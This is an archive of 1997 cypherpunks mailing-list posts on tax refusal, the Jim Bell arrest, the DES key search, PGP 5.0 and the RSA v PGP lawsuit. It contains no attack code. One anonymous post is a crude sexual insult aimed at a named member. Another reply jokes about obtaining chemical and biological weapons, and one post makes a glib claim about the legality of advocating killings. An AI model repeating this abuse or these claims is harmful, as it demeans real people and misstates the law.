the street do you give him your money? - Assume there is no possibility 
of escape or fighting back, and you are unarmed. 
You either hand over the money or you die... If you take the logical 
course of action and give him your money, have you made a moral decision 
that his decision to rob you was right? Of course not, you have simply 
covered your own ass in a situation where you have no option.

It is a similar case with taxation, until enough people stop whinging and 
actually do something the state will tax as it sees fit, I`m not going to 
be the first to refuse payment on ethical grounds in peacetime, maybe I`m 
lacking in moral fibre, maybe I`m just a realist and think I can do more 
for the case of freedom outside of a 6'x9' cell.  

I certainly believe that I would refuse payment in wartime, not because I 
believe war is the only state activity I feel wrong funding, but because 
I would stand a better chance of getting away with not paying tax under 
these circumstances, and this would provide a good precedent for 
withholding tax payment after a war, by drawing parallels between war and 
other activities of the state.

I wish all luck to those who do refuse to pay tax on moral and ethical 
grounds, they certainly have my admiration and I grant that they are 
probably of stronger stuff than I.

> But this shameless capitulation is intellectualized away with the
> explanation that everyone is outnumbered by the men holding the legalized
> guns, who are in turn supported by all those true believers in The American
> Socialist Way of Life;  that way being: the reception of benefits without
> any need to be consciously aware of, to identify, their actual source or
> the actual method of their obtainment.

I bear no particular grudge against certain groups of welfare recipients, 
those who have worked all their lives and paid taxes under the assumption 
that if they were eligible for welfare they would get it have commited no 
real crime in my view, save from the fact that they claim from the 
collective funds of the nation. Certainly they would have been totally 
blameless if they had invested in private assurance and insurance schemes 
whilst under employment.

It is all very well complaining about the moral weaknesses of those who 
leech off of the stolen proceeds of state enforced taxation, but to 
really change anything the most effective route is to cut off welfare at 
source, that does not mean the state itself, that means you, the 
taxpayer. Of course most of the population are now brainwashed and do not 
see the evil perpetrated by a state that in some cases in the UK 
confiscates up to 60% of earnings at source.

As I said though, I admit my own moral weakness here and agree I am 
hypocritical to some extent, so all criticism to this effect can go to 
/dev/null.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 20 May 1997 08:56:40 +0800
To: Martin Minow <cypherpunks@cyberpass.net
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03007801afa63556053c@[207.167.93.63]>
Message-ID: <v03007804afa6a1afc32e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:10 PM -0700 5/19/97, Martin Minow wrote:
>Tim May wrote:
>>
>>Also, my tag line, "Death to tyrants!" is straight out of the Founders'
>>mouths.
>>
>Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
>"thus always to tyrants" and was spoken by John Wilkes Booth when he
>assasinated President Lincoln.

Close enough...

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wasim Q. Malik" <wmalik@sdnpk.undp.org>
Date: Mon, 19 May 1997 23:00:58 +0800
To: cypherpunks@toad.com
Subject: Need some info...
Message-ID: <Pine.LNX.3.95.970519175138.20129P-100000@sdnpk.undp.org>
MIME-Version: 1.0
Content-Type: text/plain


Hi.

I'm gonna give a talk on the subject of hacking/security soon. Need your
help with it.

Things that I'm gonna include are: 
	what is hacking, 
	ethics of hacking,
	psychlogy of hacking, 
	other abstracts. 

	Some technical stuff, such as hacking tools and tactics, including
		IP spoofing,
		packet sniffing,
		cracker programs, 
		keyloggers, 
		progs like satan, etc.


Can you suggest some additional stuff to be included, or if you have any
resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
to any of the above topics, technical or whatever, please please do send
it over. 

Your suggestions will be a great help, as well as any info.

Thanks.



Wasim Q. Malik
Network Security Expert
SDNP Pakistan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 20 May 1997 09:18:24 +0800
To: cypherpunks@algebra.com
Subject: DES search making serious progress
Message-ID: <Pine.3.89.9705191836.A27121-0100000@netcom21>
MIME-Version: 1.0
Content-Type: text/plain


Folks,

The DES key search is making serious progress. The leading contender 
seems to be DESCHALL http://www.frii.com/~rcv/deschall.htm

They are currently searching >3.5 billion keys per second. Estimated time 
to completion is 14 weeks.

It is no longer a question if the key will be found. We now need to make
sure that it is found as quickly as possible. 

Please download and run the software.

Thanks,
-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 20 May 1997 09:42:38 +0800
To: cypherpunks@algebra.com
Subject: More on the Jim Bell case
Message-ID: <3.0.2.32.19970519183115.00b84e30@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The local news just had a story on the Jim Bell case.

They are now claiming that the search warrent (how the news people got a copy 
is a big question) included Sarin nerve gas and Anthrax (not the band).

The news story was a pretty interesting hatchet job.  Included a number of 
horsemen and prominently mentioned encryption.  They claimed that the reason 
for the raid on East's home was because he sent Bell encrypted messages 
containing various evil and unauthorized thoughts.

Why am I not surprised...

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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Tue, 20 May 1997 07:35:45 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: <3.0.2.32.19970519192112.03804aa0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:39 AM 5/17/97 -0700, Alan Olsen wrote:

>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks 
>interesting.  Nice if the rest would run...

It works fine on two of my (WIN95) machines (including one aging 486) that 
have pretty flaky general installations.  No problems.

It automatically signs if you want and is supposed to query keyservers 
automatically if you want but I haven't got that to work.  

Pretty display of the keys in your public file.

DCF


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM4DgZ4VO4r4sgSPhAQF/uwQAqp0+ffCTSLFK6ajmCzh5Rg0IiS/L8/Cv
daUwBJ8/jlQ2Gq72qnHvuEQWrtOhUVUJDmSya2QO6f2C5IA+HEk3P7eiTQNbLXq7
89Mo118uMoG3kCsqMu05fb6KS4vdTGKeOTqmGthtxUqhfBuDGcYPsTw1yg4prs8+
tSaWp9eqbJs=
=mZs4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Tue, 20 May 1997 07:46:30 +0800
To: Alan Olsen <mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: <3.0.2.32.19970519193338.0069ade0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:

>Some of his statements could have been taken as advocating the killing of 
>federal employees of various sorts.  The question is whether he actually
>tried 
>to arrange it in real life.  (Which I doubt.)

In the U.S., it is legal to advocate killing anyone except Clinton and his 
family and maybe the veep.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM4DjUYVO4r4sgSPhAQEQeQP+KoW+Dd8v2lCaI9HD0lWOaDy+q5IBBxYp
UTst/SqZrb2SgTToA812/Dt4hDfjIPU2YwBhbQ4oG8CHE48asPYjqgz/1VBxTRXb
UUBfObzBXPnT1elL2daGTeoCV+Yjxd/xCWVOF6wAy2fvsmm2Ougj6nAyWXoRKUMo
6iSTIbA4piM=
=n+ye
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 20 May 1997 02:12:34 +0800
To: cypherpunks@toad.com
Subject: Forgery detection
Message-ID: <199705191758.TAA01839@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May is just another garden variety Intel pansy that has been misusing its 
`manhole' so badly that the overstretched sphincter cannot hold back the shit that 
all Intellers are full of and it spills out onto this mailing list.

            /\_/\
           ( x x )
       -oo0-(o o)-0oo- Tim C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Tue, 20 May 1997 11:21:57 +0800
To: cypherpunks@cyberpass.net
Subject: Remailer messages of variable length
Message-ID: <199705200305.UAA09291@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


To complicate traffic analysis Sender can add a padding to his message
before encrypting it for some remailer in chain. So that the
message is shortened after decryption and stripping of pseudo headers.
It can be done with a dummy header lines:

##
Padding: fjx6zRURnnK1DV4CdL7gbHpnUiV1KbbRf5HatXiaD+ZPtH0 ...

Also, for a length increment a remailer may understand commands like:

##
Pad-length: 1K
Pad-encrypt-for: remailer@replay.com

It will then add the 'Padding:' header and re-encrypt the message with
the appropriate remailer's public key. The next remailer in chain will see
the padding and will try do decrypt the message twice...

If stealth crypto is used, a random padding can be simply attached to the
end of the message.

Also, the remailer by itself can decide to increase a message length to
cover some rare big messages.

---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 20 May 1997 10:14:02 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Legality of Millgram-type psychological experiments
In-Reply-To: <v03007800afa631f038c4@[207.167.93.63]>
Message-ID: <199705200157.UAA05610@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> 
> At 7:12 AM -0800 5/19/97, Mike Duvos wrote:
> 
> >Of course, such psychological experiments are banned today, because they
>                                                ^^^^^^^^^^^^
> >don't make it through the ethics committees.  Nonetheless they demonstrate
> >that there are few differences between "us" and "them," and that most
> >ordinary people will rise to the occasion when given a new pair of
> >jackboots.
> 
> I'm curious about the "such psychological experiments are banned today"
> assertiokn.

These experiments were mostly done at Stanford.

After the unbelievable scandal with the jail experiment (which, to my
knowledge, involved physical injuries), Stanford Board forbade any
experiments done without the approval of a special ethics councel.

Many other universities followed.

(please correct me if i am mistaken)

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 20 May 1997 10:09:10 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: CFV: moderate sci.cryonics -- I vote NO
Message-ID: <199705200159.UAA05630@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Lewis McCarthy (lmccarth@cs.umass.edu) wrote in <3377FA31.167E@cs.umass.edu>:
* Charles Platt writes:
* > I feel it's unfortunate that the 
* > charter was worded to exclude anonymous postings, but clearly this 
* > news group does need to be moderated, and I believe that Keith will 
* > do so fairly and openly.
* 
* That's all well and good, but the CFV is a referendum (in part) on the 
* particular charter that appears in the CFV, not on an alternate policy
* that purportedly may be followed by the moderator. Unfairly applied

That is correct.

The promises by the proposed moderator are even more suspicious given
that:

	This future moderator PROMISES TO VIOLATE HIS OWN CHARTER.

The charter is absolutely clear in respect to what is not allowed:

Charter> Unacceptable messages include personal attacks, messages 
Charter> posted without a valid sender address, and any message not 
Charter> pertaining to the topics above.

(see 

http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11

for the charter and ballot)


* written rules have a real chance of being challenged, whereas with 
* unwritten rules there's much less hope of receiving fair treatment. 
* Overly broad restrictions, like the one in the CFV regarding messages 
* from unreplyable senders, are a boon for selective enforcement. 

I repeat again, in my opinion, there is no valid reason for any
moderated discussion newsgroup to ever forbid anonymous and pseudonymous
postings. Such restrictions destroy the value that usenet newsgroups
have.

Correspondently, I will strongly oppose any proposal that restricts
posters ability to post anonymously.

Presence of such provision in the charter is a strong indication
that the proponent is a control freak.

* It's been a couple of years since I voted on a newsgroup proposal, but
* I'll be voting NO on this sci.cryonics reorganization. Get back to me
* if the charter is reworded s.t. the moderator is directed to judge a
* message primarily based on its _content_  rather than its _sender_.

Could not agree more!

* CFV pointer: Message-ID <863077501.7020@isc.org>, posted to the usual
* places on May 8 by David Bostwick
* -- 
* Lewis    http://www.cs.umass.edu/~lmccarth/lmkey.asc   "And all the 
* science, I don't understand; it's just my job, eight days a week..."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 20 May 1997 10:18:15 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: CFV: moderate sci.cryonics -- CENSORING antispammers
Message-ID: <199705200204.VAA05717@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Jay Denebeim (denebeim@deepthot.cary.nc.us) wrote
* Igor Chudov @ home <ichudov@algebra.com> wrote:
* 
* > Charles, sci.cryonics may well be in need of moderation. The
* > proponent may also be a great person. I also have deep respect for
* > you personally.  But the provision in the charter that does not
* > allow postings without a replyable sender address is rather
* > unfortunate. I would certainly vote yes if that particular provision
* > was removed. Otherwise, I find it unacceptable for myself to vote
* > YES.
* 
* Why is that Igor?  There's been very little, if any, spam generated to
* rastb5m users, and that provision has been in place since before
* anti-spam forgeries were in vogue.  If spammers arn't mining a TV
* group, they certainly wouldn't be mining a sci group.

I see your point, Jay. What you are suggesting, probably not without
reason, is that the spam volume is not expected to be huge.

I may agree to that. The problem with this argument is that 

1) No matter how much spam they get, posters have a legitimate
reason to protect themselves

2) Typically, altering the reply address is done before 
the newsreader is even started, changing it for only one censorous
newsgroup is a royal pain in the back

3) People should have freedom to post anonymously, especially on
such sensitive topic as cryonics

4) Anonymity is NOT a threat to moderated newsgroups

Considering all that, I do not consider the proposed charter to be 
acceptable.


(see http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 20 May 1997 10:24:47 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: CFV: moderate sci.cryonics -- CENSORING antispammers
Message-ID: <199705200217.VAA05908@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Joseph J. Strout (jstrout@ucsd.edu) wrote in 
* In article <Pine.SUN.3.91.970513130935.19729B-100000@panix.com>, Charles
* Platt <cp@panix.com> wrote:
* >> >Unacceptable messages include personal attacks, messages posted
* >> >without a valid sender address, and any message not pertaining to the
* >> >topics above.
* >
* >I would like to interpret "valid sender address" as meaning an address to 
* >which replies can be sent, without them bouncing. This would include 
* >anonymous remailers that allow an (anonymized) reply function. It would 
* >exclude anonymous remailers that don't allow such a function.
* >
* >Perhaps we could hear from the person who drafted the CFV to clarify this 
* >point. Or Keith Lynch could tell us whether he plans to use this 
* >interpretation.
* 
* Yes, I drafted the CFV, and this is exactly what I meant by "valid sender
* address".  This is clearly distinguishable from a fake address, which does
* not really exist and to which no email can be sent.  Requiring a valid
* return address applies a small amount of accountability to the poster. 
* This is the same criterion used, for example, when posting via DejaNews.

There is nothing good about this "accountability", and this is precisely
what I object to in the CFV.

There is no need for "accountability" in the moderated newsgroup.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 20 May 1997 12:38:10 +0800
To: cypherpunks@cyberpass.net
Subject: RSA v PGP lawsuit
Message-ID: <3.0.1.32.19970519212159.008e1740@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



I drove down to the courthouse in Redwood City today and took a look at the
court file for RSA v PGP. The complaint is already online at
<http://jya.com/rsavpgp.txt>; there are two exhibits which accompany the
complaint in the file, Exhibit A is a 30-page patent license agreement
(which I didn't bother to have copied at $.75/page), the second is Exhibit
B, a letter from RSA's attorneys to Leonard Mikus of Lemcom Systems dated
4/16/97, which describes the basics of the dispute between RSA and PGP. I
copied the letter and have placed it online at
<http://www.parrhesia.com/rsapgp.html>.

The lawsuit itself is not for monetary damages, but for declaratory and
injunctive relief - RSA is asking the court to declare that the license
agreement's provision regarding arbitration did not survive the termination
of the license; that the royalty, payment, and accounting provisions of the
license agreement did survive its termination; and for an injunction
ordering PGP to comply with the agreement's terms for paying royalties and
accounting for sales.

What I find interesting is what is not included in the suit - a claim for
patent infringement. (Such a claim can only be filed in federal court, and
this suit was filed - at the plaintiff's choice - in San Mateo County
Superior Court, a California state court.) 

The letter identifies several areas of disagreement between the parties:

1.	RSA believes it had the right to approve or reject the PGP/Lemcom merger
2.	RSA says that PGP has licensed the patent to OEM customers, in violation
of the license agreement
3.	RSA says that PGP has licensed certain source code to some customers, in
violation of the license agreement
4.	RSA says that Lemcom has not made a royalty payment since the third
quarter of 1996. (But I'm sure I saw something - in the media? - where PGP
says they've been making royalty payments.)

And the letter says that RSA is immediately terminating PGP's license to
use/make software including the RSA public-key algorithm because of those
breaches. 

PGP hadn't filed a response yet - they'll have 30 days to do so from the
date of service, and I think they were served with the suit somewhere
around the 10th of May. (There was a proof of service document in the file,
but I didn't bother having it copied.) 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 20 May 1997 12:41:09 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: More on the Jim Bell case
In-Reply-To: <3.0.2.32.19970519183115.00b84e30@mail.teleport.com>
Message-ID: <v0300780dafa6d66d2751@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>-----BEGIN PGP SIGNED MESSAGE-----
>
>The local news just had a story on the Jim Bell case.
>
>They are now claiming that the search warrent (how the news people got a copy
>is a big question) included Sarin nerve gas and Anthrax (not the band).

Nah, he told me that stuff was destroyed long ago ;-)

Can't imagine anyone going the trouble of culturing Anthrax when there's
other simpler to obtain/manufacture and almost as potent CBW agents ;;-)

>
>The news story was a pretty interesting hatchet job.  Included a number of
>horsemen and prominently mentioned encryption.

I impression was that jim didn't use encryption religously ;-(

>They claimed that the reason
>for the raid on East's home was because he sent Bell encrypted messages
>containing various evil and unauthorized thoughts.

So did a good portion of this list.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 20 May 1997 09:54:57 +0800
To: cypherpunks@toad.com
Subject: Jim Bell News
Message-ID: <1.5.4.32.19970520012631.008c3794@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


John Painter, the Oregonian reporter of Jim Bell's
arrest, said this evening that he's got another
story coming out tomorrow that will reveal more
of the situation, and that he'll fax a copy (which 
I'll post unless Alan does).

Mr. Painter says:

Jim's still in the Tacoma, WA, federal jail. There was
a prelim today and a hearing is due Friday.

The feds are keeping the case documents sealed.

Speculates that someone may be squealing on Jim 
in a deal.

Jim cannot receive calls but can call out collect.

A U.S. Federal Defender has been assigned to 
represent Jim: Peter Avenia, tel: 253-593-6710. 
Mr. Avenia did not return a call.

The U.S. District Court Judge is J. Kelly Arnold. 
Court Clerk is Kelly Miller, tel: 253-593-6313.

The Oregonian's telephone: 1-800-452-1420.

A man at Jim's home politely said he did not 
want to talk about it. Tel: 360-696-3911.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bob@bobsoftheworld.org
Date: Tue, 20 May 1997 12:57:37 +0800
Subject: No Subject
Message-ID: <199705200438.VAA29719@www10.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



  Hello Dave,

    There is GeoGreeting Card waiting from Bob
	 at http://www.geocities.com/GreetingCards/cards/Birthday.1323.html

	 Thanks,



	 GeoCities
	 http://www.geocities.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 20 May 1997 13:22:15 +0800
To: "Lynne L. Harrison" <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
Message-ID: <3.0.32.19970519220936.00710ca0@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:20 AM 5/20/97 -0400, Lynne L. Harrison wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, now that I've seen some good and bad reviews regarding the beta
>version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
>with Eudora Pro.  From what I've read, it seems the new beta version has
>nothing new to add - except some quirky bugs and the source code that's
>supposed to be available at some time in the future.

I used PGPMail 4.5 since it first came out. Version 5.0 adds easy lookup of
keys not on your keyring and support for PGP/MIME. And of course DSS/DH
keys. Since those are not backwards compatible, it may be a while before
they take off.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ! Drive <drink@aa.net>
Date: Tue, 20 May 1997 13:33:18 +0800
To: cypherpunks@toad.com
Subject: Sun Exploits Encryption Loophole
Message-ID: <3.0.1.32.19970519221704.006de1c8@aa.net>
MIME-Version: 1.0
Content-Type: text/plain



	http://www.techweb.com/investor/newsroom/tinews/may/0519sunw.html

Sun Microsystems prepares to take on federal government with plans to offer
a product from Russia that provides 128-bit and triple DES encryption over
the Internet.



-----------------------
"The user does not know what he wants, until he sees what he gets"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 20 May 1997 12:07:35 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: <3.0.2.32.19970519235515.032d1868@intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I'm very happy with the PGP 5.0 beta after less than an hour of testing.

The new PGP 5.0 seems to work well.  I'm finding a few bugs, and I had a 
configuration problem or two.  But this is much better than using the DOS 
version from Windows.  And much nicer than using Private Idaho.

For crypto to have widespread acceptance, crypto must work seamlessly on 
common platforms such as Windows.  While any Linux administrator can use PGP 
without much problem, the average Windows based knowledge worker has had 
problems with this.  PGP seamlessly integrates with Eudora and provides 
features required for electronic commerce.

I have used the keyserver lookup feature (from PGPkeys) and found it worked 
well.  PGP options have been added both to the Eudora menu and the toolbar.  
While I was not able to download PGP on Friday or Monday (day), customer 
support worked with me, and the technical people installed server updates to 
the US verification process on Friday and Monday afternoon, allowing me to 
finally download the 5MB file tonight.

PGP 5.0 takes advantage of the 32-bit APIs and uses the Win95 interface.  My 
existing 2.6 keyring was imported with no problem, and I have been able to use 
PGP 2.6 to verify signatures created with 5.0.  Best I can tell, the new 
product is backwards compatible with older versions.  I've also gotten email 
from a PGP person who has assured that source code will be available later.

The new product, when combined with Eudora seamlessly integrates

 * Email
 * Spell checking
 * Digital Signatures
 * Certification Authority (CA)
 * Web of trust
 * Encryption
 * Availability from a commercial source

This seamless integration is what is required to allow for successful 
implementation of Digital Signature initiatives most states have passed or are 
considering.

Overall, I'm happy.  I'd recommend that people obtain the beta and test it 
out.  I don't know what it will be selling for, but I'm sure it will be worth 
the price.

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4EgnUGpGhRXg5NZAQFvugIAojhDAbHQfIhe48LYveKNmlSHez0MBn8+
dLrBMM3+tTCdKJrRZRQKvY+Qux4YFc5tJnn+EZFf5tSsGV/7jGqsVQ==
=Gi0T
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/
     





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 20 May 1997 15:20:01 +0800
To: cypherpunks@algebra.com
Subject: Do Not read
Message-ID: <199705200708.AAA24279@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: 4.5

hIwD3DcuVanRWD0BBACzyQz4IV3J4RRc0i8Ydsgmlh3bzvL+2o2iCYJqbDMq2Hvo
qnQBfWh0YRNXSvixViwdTGiTVVjQM4KPBZaG8fct3zyplluJxWnRFjhTJ88BpBJl
mRk/srhQtOoP6G8PsaHbYRUjJWHGPJTwSNdRYJqJ0Hx53HpcaTmE27TyqkdMxqYA
AAArX4O1ji9cdvWyEhlxC3tZPOH5GgUfwrKQJniGdC3aEuWLKjUNNkTFRObAnw==
=sAgE
-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 20 May 1997 12:34:43 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970519192112.03804aa0@panix.com>
Message-ID: <3.0.1.32.19970520002025.006dafc4@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Well, now that I've seen some good and bad reviews regarding the beta
version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
with Eudora Pro.  From what I've read, it seems the new beta version has
nothing new to add - except some quirky bugs and the source code that's
supposed to be available at some time in the future.

Has anyone compared the above?

-----BEGIN PGP SIGNATURE-----
Version: 4.5

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*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 20 May 1997 17:43:34 +0800
To: cypherpunks@toad.com
Subject: Re: More on the Jim Bell
Message-ID: <TCPSMTP.17.5.20.5.35.30.2780269260.1644876@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:alan@ctrl-alt-del.com to Harka <=-

 In> The news story was a pretty interesting hatchet job.  Included
 In> a number of horsemen and prominently mentioned encryption.
 In> They claimed that the reason for the raid on East's home was
 In> because he sent Bell encrypted messages containing various
 In> evil and unauthorized thoughts.

 In> Why am I not surprised...

Why am I surprised...How the hell did they know, what the messages
were about??
(Unless Jim saved his e-mails in plain-text to his hard drive,
didn't bother to use SFS or something similar and all this stuff was
recovered as a result of the initial search of his house. In which
case a lot of list-members might want to start thinking about
various possibilities...)

Ciao

Harka

... This is as bad as it can get -- but don't bet on it.

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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kibo <kibo@thecia.net>
Date: Tue, 20 May 1997 18:16:57 +0800
To: freedom-knights@jetcafe.org
Subject: Re: CFV: moderate sci.cryonics -- I vote NO
In-Reply-To: <199705200159.UAA05630@manifold.algebra.com>
Message-ID: <Pine.BSI.3.96.970520053902.29300C-100000@shell.thecia.net>
MIME-Version: 1.0
Content-Type: text/plain


this deals with a sci newsgroup being moderated, which
is an exception to the "unmoderated" rule.

On Mon, 19 May 1997, Igor Chudov @ home wrote:

> Date: Mon, 19 May 1997 20:59:27 -0500
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: mail2news@manifold.algebra.com, hkt@wwa.com,
>     freedom-knights@jetcafe.org, mkagalen@lynx.dac.neu.edu,
>     cypherpunks@manifold.algebra.com
> Cc: ichudov@manifold.algebra.com
> Subject: Re: CFV: moderate sci.cryonics -- I vote NO
> Newsgroups: sci.cryonics,news.groups,alt.cypherpunks,alt.privacy,alt.privacy.anon-server,alt.anonymous.messages,alt.anonymous.remailers,alt.conspiracy
> 
> Lewis McCarthy (lmccarth@cs.umass.edu) wrote in <3377FA31.167E@cs.umass.edu>:
> * Charles Platt writes:
> * > I feel it's unfortunate that the 
> * > charter was worded to exclude anonymous postings, but clearly this 
> * > news group does need to be moderated, and I believe that Keith will 
> * > do so fairly and openly.
> * 
> * That's all well and good, but the CFV is a referendum (in part) on the 
> * particular charter that appears in the CFV, not on an alternate policy
> * that purportedly may be followed by the moderator. Unfairly applied
> 
> That is correct.
> 
> The promises by the proposed moderator are even more suspicious given
> that:
> 
> 	This future moderator PROMISES TO VIOLATE HIS OWN CHARTER.
> 

Given the subject, the attempt to limit the content is
going to be tough.  What do you do with the religious zealots
